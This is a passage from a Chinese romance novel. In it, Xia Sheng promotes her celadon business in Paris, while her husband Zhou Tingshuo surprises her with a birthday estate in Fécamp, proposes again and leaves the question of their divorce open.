“跟任何人都无关,只是我觉得应该跟你说清楚,我很明白不对等的感情付出,是很消磨人的。” “如果我说我甘愿呢?” 一辆车驶过,带起的风吹动她的头发,夏声沉默不语,抬手别过鬓发。 很快,那辆驶过的车又停回来,从车上下来的人径直走向她。 “回来了怎么没联系我,好去接你。” 不知是不是凑巧出现的周庭朔手扶在她身后的椅背,并没有落座的意思。 此刻坐着的两人视线回避,氛围凝滞,聊天内容他几乎猜得出来。 提着的心放下一半,当然另一半还攥在夏声手中。 毕竟或早或晚,那份她提出的协议总要有个结果。 他看向卓冕:“假期难得,你都浪费在这,咖啡哪不能喝?” “哪都能喝,自然在这也能喝。” 该说的话也说完了,夏声不愿夹在两人中间,看他们明里暗里争辩。 她起身,先一步往车那边走。 “先回去吧。” 一位聊清楚,还有一位。 只是对于周庭朔,夏声总有些拳头打在棉花上的无力感。 比如,回去后的她刚准备开诚布公地聊一聊,就被他别的话题打断。 “去里昂还顺利吗?” 坐在沙发上的夏声揉揉酸胀的小腿,随意点点头。 “还好。”她想起今天拍的几张合影,拿出手机翻了翻。 周庭朔顺势坐在她旁边的扶手上,也跟着看。 须臾,他问:“你想借力官方?” 只是有个初步的计划,具体能推进到什么程度,现在还不好说。 她登上邮箱,暂时还未收到大使那边的回信。 想来也不会这么快。 “嗯,不过未必能行。” 周庭朔沉吟片刻,便有了想法。 “把照片发我,我认识几个巴黎媒体那边的朋友,写几篇资讯,将这件事推出去。” 夏声眼神一亮,看向他。 “可以这样?” 她一路都在考虑怎么将这件事由小做大,今天他这提议倒是很好的开始。 说起工作,别的事全都放到一边。 周庭朔又问些她的整体计划,夏声将所有的想法一并说了。 他听得认真,间或点点头,最终笑着看她。 “这点子你想的?” “对啊,怎么了,不可行?” 他将人从沙发上拉起来,牵着往楼梯走。 “非典型手段,另辟蹊径,也许可行。”表示肯定后,他推了推她,“先去洗个澡吧,动了一天脑子,该累了。” “一会等你出来,我们再详细聊。” 之后,周庭朔倒并未对她这个项目的计划提建议,反而是告诉她一些谈合作时的默认规则和技巧。 “你现在接洽的Mahel文化我刚刚了解过,隶属Irtefer集团,也算是法国老牌企业。” “这种企业,通常很看重初次合作对象以往项目的完成度,信誉度。” 这点夏声知道,只是从前她们做的都是小合同,合作方也没有特别说得上的企业。 跟竞争对手比,反而没优势。 然而他并不认可她的想法。 “所有企业都是由小做大 ,你每高质量完成一份订单,都是对信誉的背书。” 夏声属于一点就透的人,当晚就拉着公司全体,开了个视频会议,一项项安排接下来的工作。 整个起居室,只有她电脑里传出的声音。 这里没安排阿姨,只有她跟周庭朔在,对方从她开始会议就不见了踪影。 中途再出现,是洗过澡的模样,给她递了杯温水,又默默离开。 会议开了快三小时,结束时已近午夜,夏声这一天劳心又劳力,累得再多一句话都不想说。 回到卧室,甚至懒得开灯,直接扑到床上,被子一卷睡过去。 至于另一个人在哪,睡哪,她无暇顾及。 周庭朔晚她一会进来,窗帘未合,就着银淡的月光,看床上人裹在被子里躺在床中间,表情柔缓。 他走过去,将人从被子里解出来,捞进怀里满足地闭上眼。 长夜无声,只有彼此呼吸交融。 换来一夜好眠。 夏声第二天是被闹钟吵醒的。 手机上有周庭朔的留言,说他有事要办,这几天不回来。 消息后,跟着几条网络链接,她一一点开,是几家流媒体发的报道。 文章张弛有度,切入角度客观但字里行间是赞许,评论反馈也都不错,有不少人关注到她所送的青瓷,也有些关于她这个东方面孔的讨论。 她静待Mahel那边的反应,果然对方很快就联系了她。 媒体并未说清她与法国文旅大使的关系,夏声也有意模糊。 作为外国企业,进入本地市场时如果能有官方背书,自然会获得合作方信任。 至此,夏声在会桌上,又有了些谈判的资本。 当然,接下来她也更忙。 大使那边两天后又联系她,除了要她一份地址邮寄回礼,还送她一张几天后中法文化峰会的邀请函,当然是观众席。 这是意外惊喜,夏声鼓起勇气,又主动联系了对方。 接着,她马上让国内的韩子弋去趟龙泉。 几天后,夏声应邀去了峰会现场。 正式会议大概半天,接下来还有非正式会谈,而在这个会场,氛围相对轻松,领导人们也并不做正式发言。 会场一侧有准备的休息区,在那有夏声提前送来的全套瓷碟,鸢尾花的形状,里面盛着法式甜点。 每一位路过的参会人员,都会注意到这些别致器具,以及瓷碟尾端圈环里系着的云朵标签。 标签上面没有任何文字,是夏声公司的IP形象。 会议有专门的官方宣传团队,甚至不用夏声再找宣传途径,而这一次的稿件将出现在正式新闻上,哪怕只能占据新闻图片一角,对云声文化来说,足够。 会议结束,大使还特意跟她聊了两句,夏声十分感谢对方。 大使亲和地表示,这次恰好是中法文化峰会,她所提供的青瓷完美契合主题,这也是能同意她请求的关键。 一切似乎都水到渠成,堪称完美。 夏声出来给韩子弋打电话时,对方已经跑去自我逍遥了。 那些青瓷器是她亲自去龙泉,从蒋师傅那取来,带到法国的。 对面风声和着流水声,是在塞纳河畔:“你怎么知道会用上这一套器具,居然提前找蒋师傅定制了。” 夏声笑笑,心情放松下来:“定制是定制,但原本不是用在这的,就像那套茶具本也不是准备送给大使的,只不过一切都恰好。” “只能说,机会是留给有准备的人的。” “好,那夏总也记得给我准备好出差补助。”韩子弋揶揄她。 夏声又交代她几句接下来的事,随后才搭车回家。 忙着的这段时间,夏声甚至没空想起周庭朔,直到这晚她独自回到小洋房,躺在卧室放空,才隐约觉得不对劲。 手机上,上一次的聊天记录,还是昨天晚上,他问起她峰会做好准备没。 法国分公司的事,按理说大部分都是苏晋在负责。 所以他有什么事,会忙到这么久不露面? 第64章 第64章种种惊喜,将她淹没…… 夏声躺在床上,洗完澡吹得半干的发晾在床边,想了想举起手机打开群聊。 【安真:@周仪娇你嫂子出国,你怎么也忙,我就这两天有空,居然见一面都没时间。】 【周仪娇:别提了,被拉去做苦力,我也想跟你逍遥去。】 【夏声:什么苦力?】 【周仪娇:……不可说。】 夏声捋了捋头发,坐起身靠在床头,就看安真急性子地追问到底什么她不可说。 周仪娇似乎打定主意,一味顾左右而言他,直到安真转移话题。 【安真:对了,听说哥不是也去巴黎了吗,怎么样,你跟他是和好如初还是一刀两断了?】 是原地踏步。 她若有所思地看着输入框,半晌也没回。 【周仪娇:默默插一嘴,我哥这回真是动真格了,昨天被我妈又狠说一通,他居然都没反驳。】 【周仪娇:嫂子,再给他一次机会吧。】 夏声指尖顿住。 所以他这一阵消失,是因为回国了? 她放下手机,看向窗外银白色的月光。 其实夏声隐约明白为什么周庭朔不想跟她离婚。 一个家里人全都满意的太太,不争不闹,安静事少,可以给他省去很多麻烦,再换一个人,大抵又要重新磨合。 对于他这种对感情看得很淡的人来说,着实是浪费时间精力。 她怅然走下床,站在落地窗前,想起刚结婚不久的那个夜晚。 也是这样清朗的月光,他站在她面前,表情认真地问她是否有喜欢的人,如果有他有知情权。 彼时没有,但现在有,可夏声却无法对他宣之于口。 她抬手,面无表情地拉上窗帘,将一室月光关在窗外。 两天后的周末,夏声被卓冕堵在家门口。 一早开门,也不知他在那等了多久,一双眼噙着笑,语气温柔。 “今天的时间能交给我吗?”怕她拒绝,又加一句,“只是以朋友的身份,我明天假期就结束了,今晚的飞机。” “恐怕不行。”夏声的身后,替她拒绝的语气坚定,“她的时间已经被我预定了。” 周庭朔晚一步走出来,眼神深长地看他一眼,拉着夏声的手腕,从他身边擦肩而过。 航班落地,周庭朔一刻不耽误地赶回来,此刻坐在车上不免有些庆幸,自己刚好比卓冕早一步。 随即听到她问:“你说要跟我谈谈,为什么不能在家里说?” 夏声透过后视镜看着身后不断缩小的身影,心里难免歉疚。 她本以为周庭朔只是找个餐厅,两人正式地聊聊,没成想车子一路开下去,直接驶出巴黎不知要去什么地方。 身边的人放松地阖着双眼,大概搭越洋航班太累,似乎已经睡着,她只好问司机这是要去哪。 “fecamp,车程大概两个多小时。” 是巴黎附近的一个临海小镇,景色特别宜人。 恰巧今天天气极佳,湛蓝的天只有些浅淡的云,像薄烟散在蓝幕。 来巴黎这么久,她还没正经出来走走看看,这会将车窗摇下来,吹着淡淡的海风,倒像是偷闲度假。 周庭朔于身后缓缓睁开眼,看着她望向窗外的侧脸,一直未出声。 车子在小镇外的一条窄路停下,周庭朔下车,绕过来为她打开车门。 夏声四处打量,面露疑色。 眼前是一栋欧式庄园,低矮的白色栅栏后,是一大片平整的草坪,粉白的蔷薇花墙盛放,最醒目的则是位于中间的尖顶蓝墙三层别墅。 庄园大门立着两个颇具西方具象风格的人像雕,敞开的黑色大门旁,一块棕色门牌,上面却空无一字。 旁边站着个穿礼服带领结的白人管家,手里盛着托盘。 夏声不明所以看向周庭朔:“你带我来这做什么?” 他将人带到大门旁的门牌前,将管家托盘上的软刷笔递到她手中。 “这片庄园半个月前已经是你的。”他扬扬下巴,指指门牌,“你可以为它命名了。” 夏声握着笔,明显还没进入状况:“我的?这是我的?” “我送你的,生日礼物。” 出国这一个月,夏声忙得焦头烂额,早已将自己生日忘得干净,这会他提及,才恍然想起,今天是什么日子。 她一怔,随即将笔放回原位,转身看他。 “这太贵重了,我不能收。” 周庭朔视线描绘着她的眉眼:“生日礼物,只关乎心意,价值是最不重要的,我只希望你喜欢。” 话虽这么说,但这么大手笔…… 看出她犹豫,周庭朔略一摆手,管家便做出请的姿势。 纯正的法语相邀:“夫人,请进。” 她被他拉着,一路路过花园喷泉,走到门前,两排男仕和女仆分立两侧,恭敬地行礼。 “夫人好。” 俨然,在夏声还没来时,所有庄园里的人都已认她为主。 推开粉刷一新的白色大门,映入眼帘的是木质、藤编、田园布艺,畅快的空间,清新的风格,完全是夏声喜欢的样子。 看得出,里面家具装饰都是新换的。 正厅有上百平米,一张几十米的纯白木质长桌,上面摆放着烛台和鲜花,四周的墙壁挂着色彩明丽的油画,夏声走过去,仿若步入梦中的场景。 怎么会与她所有的喜好都那么契合。 周庭朔站在她身后,观察着她的反应,嘴角缓缓松下来。 看来她喜欢。 “要去楼上看看吗?” 踩着柔软的地毯走上三楼,入目就是一块巨大的落地窗,窗外是碧蓝的天和无边的海岸线。 “这里竟然能直接看到大海。” 她声音带着雀跃,快步走到窗边,推开窗就是宽敞的步入式开放阳台,一旁放着两张碎花布艺躺椅,和藤编玻璃圆桌。 深吸一口气,清新略带湿意的空气盈漫胸腔,夏声撑在阳台栏杆上,闭着眼一脸惬意。 下一秒睁眼,她才看到楼下正对着的一大片花海。 各色的郁金香,在阳光下纵横交错,形成一串巨大的花体字。 声声,生日快乐。 最下角那一处颇有设计,仔细看下去还有些熟悉,夏声看了会,慢慢分辨出那好像是一幅画。 深紫的花作发,浅粉的花为脸颊,随着微风拂过,有种过分传神的韵味。 ——那是她的侧脸。 这画面实在太有冲击力,夏声一时失语,凝着视线看了许久。 周庭朔走到她身边,视线只停留在她的脸上:“这已经是园艺师能调整出最像的样子。” 夏声双唇喃喃:“这个时节,怎么会有郁金香?” 郁金香的花期明明在三四月。 谁让这是她最喜欢的花,周庭朔一语带过:“只要想要,总有办法。” 夏声转过头对上他的视线,心底有处柔软被戳中,眼神也变得柔和。 “你什么时候准备的这些……” 大概从她给他准备生日惊喜的那个晚上,他心里就有模糊的想法。 也一如她当时所做的那样,今天蛋糕和长寿面都有,只不过做蛋糕他并不擅长,找了店定做的,只有亲手多给她做几道菜。 一楼开阔的厨房里,他将外套脱下,拿着围裙看着她。 “能帮我一下吗?” 夏声接过来,将绑带利落地穿过他手臂下,她低着头,发顶落在他视线里,周庭朔低低喊了她一声。 “声声。” 不知何时,他对她的称呼,从“夏声”变为“声声”。 她仰起头:“嗯,怎么了?” 一个轻吻就这样落在她的唇边,温热一触即分,像羽毛擦过,轻而快的结束。 不带情欲,也没有目的,好像此时此刻的氛围使然。 夏声反应过来时,他已经退回去,神情自然地看着她。 总觉得国外重逢后的周庭朔变了,变得格外主动,。 而这样一个轻吻,却让她的脸瞬间发烫。 她默默低头,不想被他看见,可手下的动作却乱了章法,两根绳转来转去还没系上。 最后还是他背过手,接过绳子系好,又将她推出去。 “在那等我一会,很快就好。” 庄园有厨师,也有佣人,但一概被他遣出去,此刻忙碌的只有他一个。 夏声坐在长桌前看着他,这次是纯黑的半身围裙,围在他精瘦的腰身上,倒说不出的合适。 明媚的阳光由高窗斜照进来,地上映着他颀长的影子,炉灶燃起火苗,渐渐有浓郁的香气飘出,让她莫名觉得窝心。 说实话,出国后她时常怀念周庭朔的好厨艺,原本以为自己再没机会吃到。 很快她眼前就摆了满满一桌,色香味俱全,还都是她爱吃的菜。 香槟酒冒着绵密的气泡,生日蛋糕上的蜡烛也已点燃。 周庭朔坐在她对面,笑着让她许愿。 夏声手肘支在桌上,双手交握抵在鼻尖前,闭上眼睛。 独属于她的生日愿望,几秒钟她在心底便默默许好。 睁开眼拿起刀将蛋糕切开,甜蜜浓醇的奶香在口腔中蔓延开。 她勾起唇,眼里细碎的光变得耀眼:“我还从没这么隆重的过过生日。” 可能是第一次,也可能是最后一次。 她不想扫兴。 所以原本定下想要跟他说清楚的决定,推延到以后再找机会。 此刻,她只想抛却一切,去享受当下。 电话上,陆陆续续收到亲朋好友的生日祝福,她好多没来得及看,直到周仪娇的视频请求发来。 她看眼周庭朔,对方放下筷子,似乎预料到她会打来。 “接吧。” 视频接通,周仪娇怼脸自拍,先是给她送祝福:“嫂子,生日快乐!” 夏声笑着道谢,看着对面屏幕反转过去,画面有些熟悉,好像是在碧水华汀。 镜头对准地上,福宝带着一只小帽子,上面别着生日快乐的发卡。 冲着镜头喵喵两声,又乖又萌,让她的心都化了。 “福宝也祝你生日快乐哦。” 周仪娇的声音从镜头后传来,动作已然离开小猫咪,起身走向里间的客卧,是夏声从前住过的那一间。 “准备好了吗?” 夏声刚想问准备什么,门就被她推开来。 入目是一间梦幻般的公主房,黄粉主色,布绒带着蝴蝶结的床品,淡黄色的窗帘。 对面则是铺着地毯的玩偶乐园,品类不一的毛绒玩具堆放在那,大的是近人高的抱抱熊,小的也有手掌大小的兔球,只看着都想即刻扑进去的程度。 靠窗边是浅木色书桌和书架,随着周仪娇脚步走进,她渐渐看清书架上摆放的东西。 数不清的成套少女漫画,过去用过的教辅书,最新的主题电脑主机,上学时获得的奖杯和证书,以及那罐她亲手叠的纸星星。 这个房间,像是将锦城她的房间做了通体升级,再搬来这里一般。 “这什么时候弄得?” 周仪娇神秘笑笑:“这些,你问我哥吧!” 第65章 第65章不能抓住我的心,又不要…… 视频挂断,夏声转头问他:“你之前说装修……是真的要装啊?” 那时周庭朔将客房的床和家具都清出去,说要重新装一下,夏声以为对方只是为了让她回主卧住,随口说的。 新房间布局跟她从前的房间基本不差,好多东西甚至是从锦城原封不动带回来的。 夏声今天收到的惊喜有点多,一时懵懵地眨眼看他。 “你为什么要把客卧装修成这样,之前不是还不许我去客卧睡?” 在锦城的那夜,她趴在自己的床上,懒懒翻着书,扬着脸骄傲自夸的样子,周庭朔在碧水华汀从未见过。 只有被称作“家”的地方,才会让人卸下一切防备,做回最真实的自己。 周庭朔起身走到她身旁,支着一条腿靠在桌旁,嗓音沉缓。 “我希望那里也能成为你的‘家’,我跟福宝都在等你回家。” 两人视线在静谧的空气中相接,他无波的眼眸此刻像洗了春水,轻柔地缠着她的目光。 夏声呼吸一滞,一时竟不知要怎么回答他。 心底有一个粗浅的念头,在勾磨着她的思绪。 到底要不要再问他一次,为什么不愿跟自己分开。 她刷得站起来,可双唇开了又和,没吐出一个字。 这会儿周庭朔半靠着,两人视线高度一致,她仔细盯着他的眼睛,试图看出他的真心。 “周庭朔。 “她叫了声他的名字,又抿上唇。 站在她面前的身影缓缓靠近,最终抬手别过她耳畔落下的鬓发,指腹留恋地在她脸颊边蹭了蹭。 “好了,吃饱了我们去拆礼物吧。” 她没想到还有礼物,由着他将自己拉到正厅旁的一间茶歇室,四脚的方形茶桌上,摆了满满的礼物。 来自安真、周仪娇、周灵熙……一大堆人的礼物,甚至祁家骏的都有。 夏声一边拆,一边挑眼看他。 “你这保密工作做得真是滴水不漏,竟然连安真都没告诉我。” 周仪娇怎么会说他跟惊喜绝缘,这人明明很会准备。 他笑笑,怕她弄坏指甲,拿出一把小刀递给她拆包装。 “是他们愿意配合。” 夏声拆得手酸,总算把东西都看完,这会对着这一堆礼物,又有些发愁。 好在周庭朔早为她想好,招来佣人,将礼物一件件打包,随后再一起送到巴黎那边的家里。 电话铃声刚好响起,夏声看是夏国理的来电,赶忙接起来。 “声声,生日快乐啊。” “爷爷给的红包怎么不收呢?” 老人一大早就给她转帐,夏声拖着没领。 她坐到旁边的茶椅上,看着佣人将东西收走,又快速送上来两杯茶:“我生日已经收了好多礼物了,您留着这钱,等我回去给我买个蛋糕吃就好。” 对面老爷子笑问:“怎么,收礼物了,蛋糕没吃到?” 夏声看眼坐在旁边慢慢品茶的人:“吃到了,长寿面也吃到了,您不用担心,我今天生日过得很好。” “哎呦,我可不担心,小周提前那么久准备的,多用心呢。” 她垂着眼睫,低低应一声。 挂断电话,对面窗角刚好有只白鸽飞走,扑棱棱将斜进的阳光打乱一瞬。 夏声视线遥遥落在那,有些出神。 “要去看日落吗?”她听到周庭朔问她。 海边,沙滩,黄昏线,正是适合赏落日的地方。 已近十月,海水渐冷,但海滩上穿着清凉的游客仍有许多。 性感的比基尼,或者短小的泳裤,包裹着丰满健美的身体,在海浪中潜伏穿行,偶尔有几位夹着冲浪板上岸的年轻人,甩甩头发笑得恣意又尽兴。 夏声只是个看客,却依旧体会到自由与快乐。 她穿着草绿色半裙,白色宽袖衬衫,坐在离海岸稍远的一处石头上,嘴角弯弯,支着下巴欣赏。 察觉到身旁人已许久没出声,回头便刚好看到周庭朔放下手机。 她摊出手,伸向他。 “你拍到什么了,给我看看。” 手机放到她手心,入目第一张,就是刚刚她回头的画面,半沉的夕阳坠在她身后波鳞的海面,风刚好反方向吹过,卷起她耳后的发。 再往前翻,每一张照片的焦点都是她,夏声手指停下,关上屏幕将手机还给他。 “你不好好拍夕阳,拍些有的没的。” 周庭朔眉眼舒展,看向远处的落日余晖。 “夕阳每天都能看。” 夏声没接他的话,片刻又听他开口。 “你离开京市后,我才发现不爱拍照其实是个坏习惯。” 她有些不明就里,反问:“怎么成坏习惯了?” 他垂眼,将手里的手机翻转两下。 “想某个人的时候,打开相册,竟没有一张照片可看。”他无声笑笑,“那一刻才发觉,原来照片是用在这个时候的。” 从前的几十年,他没有这样牵挂过一个人,所以不知道思念到一定程度,哪怕看看照片也是种慰藉。 某种情绪堆积在夏声胸口,她用力吸口气,想要压一压。 “没有照片看的人,你可以忘掉的。” 远处有人冲着沉进海面的夕阳欢呼,橙黄的光线一点点没入远处的海平面。 “如果能忘掉,我就不会追来。” 被海边吸引的视线转回,夏声看向他。 略微昏黄的光线勾出他棱角分明的侧脸,漆黑的眼眸卷起波澜,直直看着她。 不知哪飞来一群海鸥,从他们头顶掠过,忽闪的翅膀搅动两人间凝固的氛围。 周庭朔从口袋拿出一只深红色的皮质方盒,缓缓打开,里面是一只过分华丽的钻戒。 鸽子蛋大小的主钻,即使在此刻不太明亮的光线下,依然闪出剔透璀璨的光。 他抬起她的左手轻轻摩挲,无名指那里原本带着对戒的位置,早已空了。 “你还愿意嫁给我吗?” 夏声勾勾手指,被他轻揉着的指根有些痒。 她自己也有些混乱了,明明是要离婚的两人,怎么会又转回求婚这一步。 到底是哪一步走错了? “我不是本来就嫁给你了,现在又在问什么。” 那枚戒指圈在她指尖,夏声收着手指,是不肯戴上的意思。 她不想再一次不明不白地同意。 周庭朔握着她的手不肯松开。 “声声,我知道一定是我做错了什么,我只是希望你能告诉我,错在哪。” 夏声的手心腻出汗,随即长长叹气:“老实说,一年前我觉得跟谁结婚都无所谓,只要条件合适,互不干涉也挺好。” “可现在我不愿意这样。” 落日终于完全沉入海面,夏声的表情隐入昏暗的光线里。 “你说过,婚姻与感情都不可靠,你大抵不会爱上任何一个人,这不是你的错。” “是我的错,错在当时想得太简单,现在想要的又太多。” 像是终于要为两人关系画上句号,夏声想要笑一笑,却怎么也扯不动嘴角。 周庭朔就这样默默听她说完,随即转身半蹲在她面前。 即使隔着晦暗的光线,夏声依旧能感觉到他沉沉的目光。 “我怎么不会爱上任何一个人。”他捏了捏她的手指,“我爱的人明明就在我面前。” 海浪退去的声音,人群遥远的喧嚣,海鸟来去的鸣叫,一瞬之间好像都消失了。 夏声喉咙发紧,唇舌干涩,甚至觉得是自己听错。 “你说什么?” 周庭朔的语气平静:“你曾问我,如果当时是另一个人跟我见面,我会不会同意联姻。”他视线直直盯着她,“我的答案是会。” 似乎意料之内,夏声并没有太多表情,随即又听他开口。 “但一切没有如果,现在住进我心里的人是你,你不能抓住了我的心,又不要我的人。” 戒指戴着他的体温,被强硬地推进她的指间,周庭朔抬起她的手,落下一吻。 夏声看了眼手上的鸽子蛋,压着嗓音反驳他。 “你这跟强买强卖有什么区别。” 花言巧语将她留下,她才不想就这样了事。 “你什么时候喜欢我了,你明明……” 明明对我的撩拨毫无心动,明明说感情不可靠。 她的问题让周庭朔短暂陷入思考,半晌。 “非要说一个时间,也许是领证那天,你隔着车窗向我索要落下的那束花,是从那个时候慢慢开始的。” 夏声垂下视线,显然不信。 他怎么 可能那么早喜欢自己。 但他言辞恳切,表情认真,又用尽心思为她准备这一切—— 事情总是朝着她意料之外的方向发展,夏声无声琢磨着。 “你给我点时间,等我忙完这边的事,好好考虑一下。” 她坚定的意志,好像正在不知不觉中缓慢瓦解。 回到庄园,夏声没有直接回房,而是去了三楼的阳台。 楼下的郁金香花海旁立了专门的照明灯,晚上看过去又是另一番景象,她拿出手机拍了照片留念。 再点开微信,开始一条条将白天的生日祝福回复过去。 直到点到卓冕的头像。 【夏声,生日快乐,原本订了餐厅为你庆祝,可惜我总是晚来一步。】 【大概这一切都是冥冥之中注定。】 【希望你一切都好。——作为朋友的祝福】 她刚回复完谢谢,就被身后的手臂圈起来。 脊背贴上一个温暖的胸膛,夏声闻到淡淡的沐浴露味道。 “不累吗,早点去睡吧。” 周庭朔早已换了家居服,陪她赏了会夜色,才带她去卧室。 宽敞的房间,温馨不失浪漫的风格,夏声步入其中,还未来得及仔细看,就注意到边柜上放着的两份文件。 “这是什么?” 离婚协议书,却不是她签字的那版。 周庭朔靠在门边:“我想过今天最坏的结果,如果你执意原来的决定,我想给你最大限度的保障。” 夏声随手翻了几页,财产分配方面,他极尽大方,几乎分了一半资产给她。 她眼珠转动两下,突然抬头。 “你给的条件这么优越,其实签字对我来说也不错。” 柜子上只放了两份文件,夏声作势找了找:“笔呢,没笔我怎么签字。” 门边的人表情有些晦涩:“你不是说要再考虑一下。” 什么都准备了,唯独没准备笔,他根本就是没想让她签。 夏声这会儿突然想逗一逗他。 “好像考虑好了。” 果然,周庭朔的脸色沉下来。 只是她没想到,他竟走过来,拉开柜子第一个抽屉,真取出一支笔递给她。 夏声:? 难道他真准备让我签? 周庭朔他到底什么意思? 第66章 第66章还有什么不满 夏声拿过笔,背过身,咬着指尖刚翻到签字页,身后传来敲门声。 管家站在门口,说楼下来了位不速之客。 等两人下楼,才发现所谓的不速之客,是一只乖头乖脑的拉布拉多。 狗狗哈巴着喘气,显然经过一番剧烈运动,从它沾满泥的爪子也能看出来。 管家:“院子里的郁金香已经被它糟蹋了一大半。” 周庭朔看眼远处被刨得面目全非的花园,紧紧蹙眉。 拉布拉多被佣人拴上了牵绳,傻傻坐在那流着口水,夏声刚走近它便兴奋地呜呜两声,伸出脑袋想要蹭。 她仔细看了眼狗狗的项圈:“它好像是有主人,脖子上挂着名牌呢,估计是从家里跑出来无意闯进来的。” 拉布拉多一直探着鼻子想要闻闻她,夏声感觉到它没有攻击性,走近些摸了摸它的脑袋。 谁知这狗是个自来熟,立刻趴在她脚边,疯狂摇尾巴,长长的舌头舔着她的手。 夏声手心被它拱得发痒,笑得弯起眼:“不行先收留下吧,估计主人会来找它。” 被留下的狗狗似乎知道这一群人里,最喜欢它的就是夏声,见她要走挣着绳索一定要跟着她。 佣人用力扽着绳子,将它勒得直呜咽。 看它实在可怜,夏声回身接过绳子:“那你跟我走吧。” 旁边的周庭朔视线打量它几个来回,低声嘱咐管家明天让园艺师将花园恢复,随后跟着一起上楼。 晚上,洗干净了的拉布拉多趴在夏声的床尾,脑袋时不时探上来闻闻她,周庭朔抱着枕头站在她床边。 “你去那边睡。” 已经躺好的夏声拥着被子,莫名其妙看他一眼。 “为什么?” 周庭朔斜眼睨着拉布拉多,狗子立刻将脑袋缩回去,放在尾巴上。 “毕竟是长着牙的,我怕它晚上突然兽性大发,伤了你。” 于是还未反应过来的夏声,就被他手脚利落地抱进怀里。 她默默腹诽,会突然兽性大发的只怕另有其人。 不过,平时习惯得寸进尺的人,今天格外老实,只是规矩地抱着她而已。 月悬夜空,床边的拉布拉多睡得直哼哼,周庭朔看着怀里安静的睡颜,一股充实到满涨地感觉撑得他心口发紧。 摊在柜子上的协议已经被他收起来,上面并没有她的签名,而她也没再提过。 周庭朔轻轻吻下她的发顶。 她其实并不想签,他想。 第二天一早,果然有个白发老太太找来,老人家在一公里外,找了一早上才寻到这,看到自家宠物好好的,再三跟他们道谢。 夏声注意到她略微弯着的腰和鼻尖上的汗,将人请进去喝杯茶歇一会。 老太太是独居,没儿没女,老伴也在一年前去世,只有这只拉布拉多陪着。 大概是许久没人同她说话,一口气聊了快一个小时,临走时还慈祥地拉着夏声的手,让她有时间去自己家作客。 夏声马上就要回巴黎,但她没忍心当面告诉对方,只微笑点头应下。 等人离开,她也坐上回程的车。 路上夏声情绪有些低落,周庭朔察觉到时,她刚好叹了口气。 “怎么了?” 话囫囵着说出口,她大概又同理心泛滥。 “你说无人陪伴的晚年,孤独地活着还有乐趣吗?” “如果是你,你愿意做先走的那个,还是留下的那个?” 周庭朔认真思考会,牵过她的手腕放在手心握着,指腹轻按在她的腕骨上,一下一下。 “我们还不过三十,你就考虑白头到老的事了?” 听出他揶揄自己,夏声生气抽手,却被他用力拉着,彼此肩膀撞到一起。 周庭朔顺势从后揽过她的肩,安抚般拍两下。 “人各有命,老来孤独总有年轻时的美好回忆撑着,一生这么长,苦甜各一半,很公平。” 夏声听着,默默思考她前面二十多年,算吃苦吗? 有爷爷护着,顺利的读书毕业,还有了自己的事业,怎么算苦。 可跟周庭朔比起来,他成功又顺遂的人生看起来更完美一些,那她可能就算苦了。 见她又不出声,看着车窗外愣愣出神,周庭朔轻轻撞了下她的肩膀。 “想什么呢?” 夏声回神,略有深意看他一眼。 所以,如果真有那么长远的未来,最好让她做先走的那个,那些怀念与孤独的苦留给他吃好了。 “没什么,一会帮我放到街口的书店就行。” 夏声跟韩子弋约好在那见面,Mahel那边来了消息,邀她们就第二版的合作提案详谈。 想来有眉目了。 乘着峰会宣传的东风,云声文化传承企划里的青瓷主题变得有价值起来。 Mahel方态度明显比之前积极,夏声乘胜追击,将自己筹划的未来几年备选主题都做出来。 上下五千年的文化,能够取材的太多,能惊艳对方的自然也不少。 关键时刻,韩子弋也抛却了那身懒散习性,跟她起早熬夜的磨设计。 一天二十四小时,总觉得不够用。 夏声甚至提议她搬到自己那住,反正房子那么大,住进来也不委屈她。 韩子弋一口回绝:“我可听娇娇说了,她哥为了追你公司都不管了,一路跟到这来,我要不解风情地去打扰你们浓情蜜意,还不得被人家恨死。” “再说,你休想再压榨我休息时间。” 什么叫公司都不管,周庭朔明明三天前已经回国了。 只不过辛苦的是他总要两头跑。 又半个月的时间,跟对方的初步合作总算定下基调,接下来就是走流程。 Mahel的年度重点项目要走集团审批,需要几天时间,这几天夏声就闲下来。 恰巧安真有一个商业活动,要来巴黎。 当天,夏声去机场接她,两姐妹在异国他乡见上面,分外开心。 安真的经纪人叮嘱她明天一定要按时去品牌方那边报道,夏声等人走才问。 “我记得之前带你的是韩姐啊,怎么换人了?” 安真挽着她的手臂,坐上出租车。 “我解约了,这是新公司的经纪人。” 这事夏声一点不知情,原来安真签在祁家骏的公司手下,资源人脉全都不用愁,好好地怎么解约了。 问安真,又是一点不想多说的意思。 最近她在国外,没怎么关注国内新闻,自然不知道前段时间安真恋情曝光,被光速解约还欠了一屁股违约金的事。 当然,被曝 光的恋情并不是跟祁家骏。 是跟之前一个剧组合作的演员,恋情是子虚乌有,逼她离开公司是主要目的。 出租车上,安真掏出化妆包,在司机一脚油门一脚刹车的摇晃中,化起妆。 “祁家骏不是没跟你求婚,他家里怎么又知道的?” 安真挑着眼夹睫毛:“说来话长,反正早晚的事,只可惜我没多蹭点资源,出几部作品再出来。” 夏声帮她拿着化妆包,沉默一瞬,又把睫毛膏递给她。 “你非要这么说自己,你跟祁家骏又不是真图他这个。”她叹口气,“哪天吃亏,坏就坏在你这张嘴上。” 说到底,原来的祁家骏一个浪荡公子哥,因为安真才收心回家接手公司,夏声不明白为什么祁家就是不同意他们在一起。 车子停在埃菲尔铁塔下不远处,安真拉着她下车,找好位置开始摆拍。 夏声作为手机人形支架,陪着她横竖拍了一个小时。 两人收工时太阳都快落山了,一群鸽子从旁边的广场飞过,游客都在仰头拍照观赏,夏声看眼低头修图的安真,将刚买的热可可放在她屁股下的石阶上。 “你不是来参加商业活动的,不用准备吗?” 安真选好滤镜保存,拿起旁边的热饮喝一口。 “活动是后天,大后天就要回国,时间紧迫得抓紧出几组图发社媒,总不能白来。” “现在的公司给不了我太多资源,来趟巴黎都是蹭品牌合作方的关系,只能自己努力点了。” 她总算修好手里那几张图,设好定时发送,才抬头松了松脖子。 转而想起什么,抽出夏声插在口袋里的手,左看右看。 “娇娇不说他哥订了个超夸张的大钻戒给你吗,哪呢?” 那么大个鸽子蛋,第二天就被夏声收进首饰盒里,她抽回手,将空了的杯子投进前方的垃圾桶。 “戴着我怕手指不保。”她看看安真,“你那些稍微值钱点的东西也都看紧了,这里民风强悍。” 安真倒是听她说了包被抢的倒霉事迹,耸耸肩。 “其实我觉得你运气真的不错。”她看向远处喂鸽子的人,“以我的经历就知道了,想要嫁入豪门并不容易。” 